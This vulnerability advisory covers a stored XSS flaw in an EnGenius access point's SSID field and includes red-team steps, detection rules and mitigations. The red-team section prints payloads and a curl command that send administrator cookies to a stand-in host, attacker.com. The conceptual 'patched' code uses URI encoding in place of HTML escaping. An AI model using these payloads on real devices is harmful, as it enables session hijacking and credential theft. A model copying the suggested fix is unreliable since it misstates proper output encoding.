CVE-2024-31975

Executive Summary

CVE-2024-31975 is a stored Cross-Site Scripting (XSS) vulnerability affecting EnGenius EWS356-Fit wireless access points running firmware version 1.1.30 and earlier. An unauthenticated remote attacker can inject malicious JavaScript into the Wi-Fi SSID parameter. When an administrator clicks the EDIT button for the affected SSID field, the injected script executes in the context of the management interface. This can lead to session hijacking, credential theft, or further compromise of the device.

This vulnerability is particularly dangerous because it requires no authentication to inject the payload, and the stored XSS persists across sessions. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the lack of a patch makes it a high-priority target for targeted attacks.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a firmware-level issue in a network hardware device.

CVSS Breakdown & Threat Level

CVSS Score: 6.1 (Medium) Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

• Attack Vector (AV): Network – The attacker can exploit this remotely.
• Attack Complexity (AC): Low – No special conditions required.
• Privileges Required (PR): None – No authentication needed to inject the payload.
• User Interaction (UI): Required – The victim must click the EDIT button.
• Scope (S): Changed – The injected script can affect resources beyond the vulnerable component.
• Confidentiality (C): Low – Limited data exposure.
• Integrity (I): Low – Limited ability to modify data.
• Availability (A): None – No impact on availability.

Threat Level: Medium. The vulnerability is easy to exploit but requires user interaction. However, the lack of a patch and the potential for privilege escalation within the management interface elevate the risk.

Deep Dive & Mechanics

The vulnerability resides in the web management interface of the EnGenius EWS356-Fit access point. The SSID field is not properly sanitized before being stored and later rendered in the HTML page. When an attacker sends a crafted HTTP request to the device's configuration endpoint (e.g., /cgi-bin/luci/admin/wifi), the malicious JavaScript is stored in the device's configuration database.

When an administrator navigates to the Wi-Fi settings page and clicks the EDIT button for the affected SSID, the stored payload is executed in the browser. This is a classic stored XSS attack.

Root Cause: Lack of output encoding and input validation on the SSID parameter. The device does not escape HTML entities or strip script tags before storing or displaying the SSID.

Attack Flow:

1. Attacker sends a POST request to the device's configuration API with a malicious SSID (e.g., <script>alert('XSS')</script>).
2. The device stores the SSID without sanitization.
3. Administrator logs into the management interface and navigates to the Wi-Fi settings page.
4. The administrator clicks the EDIT button for the SSID field.
5. The browser renders the stored payload, executing the attacker's JavaScript.

Vulnerable vs. Patched Code

Since no patch is available, we can only analyze the vulnerable code pattern. The vulnerable code likely looks like this:

Vulnerable Code (Conceptual):

// Server-side rendering of SSID field
function renderSSIDField(ssid) {
    return '<input type="text" value="' + ssid + '" onclick="editSSID()">';
}

Patched Code (Conceptual):

// Server-side rendering with proper encoding
function renderSSIDField(ssid) {
    var safeSSID = encodeURIComponent(ssid);
    return '<input type="text" value="' + safeSSID + '" onclick="editSSID()">';
}

The fix would involve HTML entity encoding or using a safe templating engine that automatically escapes output.

Exploitation & Lab Setup

Red Team

Prerequisites:

• EnGenius EWS356-Fit device with firmware <= 1.1.30
• Network access to the device's management interface (typically port 80 or 443)
• A web browser or tool like curl to send the malicious payload

Exploitation Steps:

1. Identify the target: Use Shodan or a network scan to find EnGenius EWS356-Fit devices.
2. Craft the payload: Create a malicious SSID that includes JavaScript. For example:

   <script>fetch('http://attacker.com/steal?cookie='+document.cookie)</script>
   

3. Send the payload: Use a tool like curl to send a POST request to the device's configuration endpoint.

   curl -X POST http://target-ip/cgi-bin/luci/admin/wifi \
        -d "ssid=<script>fetch('http://attacker.com/steal?cookie='+document.cookie)</script>"
   

4. Wait for admin interaction: The payload will execute when an administrator clicks the EDIT button for the SSID field.
5. Exfiltrate data: The injected script sends the administrator's session cookie to the attacker's server.

Advanced Payload:

// Steal session cookie and perform admin actions
var xhr = new XMLHttpRequest();
xhr.open('POST', 'http://attacker.com/exfil', true);
xhr.setRequestHeader('Content-Type', 'application/json');
xhr.send(JSON.stringify({cookie: document.cookie}));

Blue Team

Detection Steps:

1. Monitor for unusual SSID changes: Log all SSID modifications and alert on any containing HTML or JavaScript.
2. Inspect HTTP requests: Look for POST requests to /cgi-bin/luci/admin/wifi with suspicious payloads.
3. Check for unexpected outbound connections: From the device to unknown IPs (potential C2 or exfiltration).
4. Review administrator actions: Correlate SSID edits with subsequent unusual behavior.

Hunting Query (Splunk):

index=network sourcetype=syslog "SSID" AND ("<script" OR "javascript" OR "onerror" OR "onload")
| table _time, src_ip, ssid_value

Indicators of Compromise (IOCs)

• Network IOCs:

  • POST requests to /cgi-bin/luci/admin/wifi with HTML/JavaScript in the ssid parameter.
  • Outbound connections from the device to unknown IPs on port 80/443.
  • HTTP requests containing patterns like <script>, onerror=, onload=.

• Host IOCs:

  • SSID values containing HTML tags or JavaScript code.
  • Unexpected cookies or session tokens in the device's management interface.

• File IOCs:

  • Modified configuration files containing malicious SSID strings.

Detection Engineering

YARA Rule

rule CVE_2024_31975_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in EnGenius EWS356-Fit SSID fields"
        author = "Valters IT"
        date = "2024-01-01"
        cve = "CVE-2024-31975"
    strings:
        $xss1 = /<script[^>]*>.*<\/script>/i
        $xss2 = /onerror\s*=\s*["']?[^"']*["']?/i
        $xss3 = /onload\s*=\s*["']?[^"']*["']?/i
        $xss4 = /javascript\s*:/i
    condition:
        any of ($xss*)
}

Sigma Rule

title: Stored XSS in EnGenius EWS356-Fit SSID Field
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects attempts to exploit CVE-2024-31975 by injecting XSS payloads into SSID fields
author: Valters IT
date: 2024/01/01
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        c-uri: '/cgi-bin/luci/admin/wifi'
        cs-uri-query|contains: 
            - '<script'
            - 'onerror='
            - 'onload='
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate SSID names containing similar patterns (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-31975 Stored XSS in EnGenius EWS356-Fit SSID"; flow:to_server; content:"POST"; http_method; content:"/cgi-bin/luci/admin/wifi"; http_uri; content:"ssid="; http_client_body; pcre:"/<script[^>]*>.*<\/script>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable remote management: If not required, disable the web management interface on the WAN side.
2. Restrict access: Use firewall rules to allow management only from trusted IPs.
3. Monitor logs: Enable logging and monitor for suspicious SSID changes.

Long-term Fix:

• Vendor patch: Await an official firmware update from EnGenius. As of now, no patch is available.
• Workaround: If possible, upgrade to a different device or firmware version that is not affected.
• Input validation: Implement strict input validation and output encoding on the SSID field.

Compensating Controls:

• Use a Web Application Firewall (WAF) to filter malicious payloads.
• Implement Content Security Policy (CSP) headers to mitigate XSS impact.
• Educate administrators to avoid clicking EDIT buttons on suspicious SSIDs.

Valters IT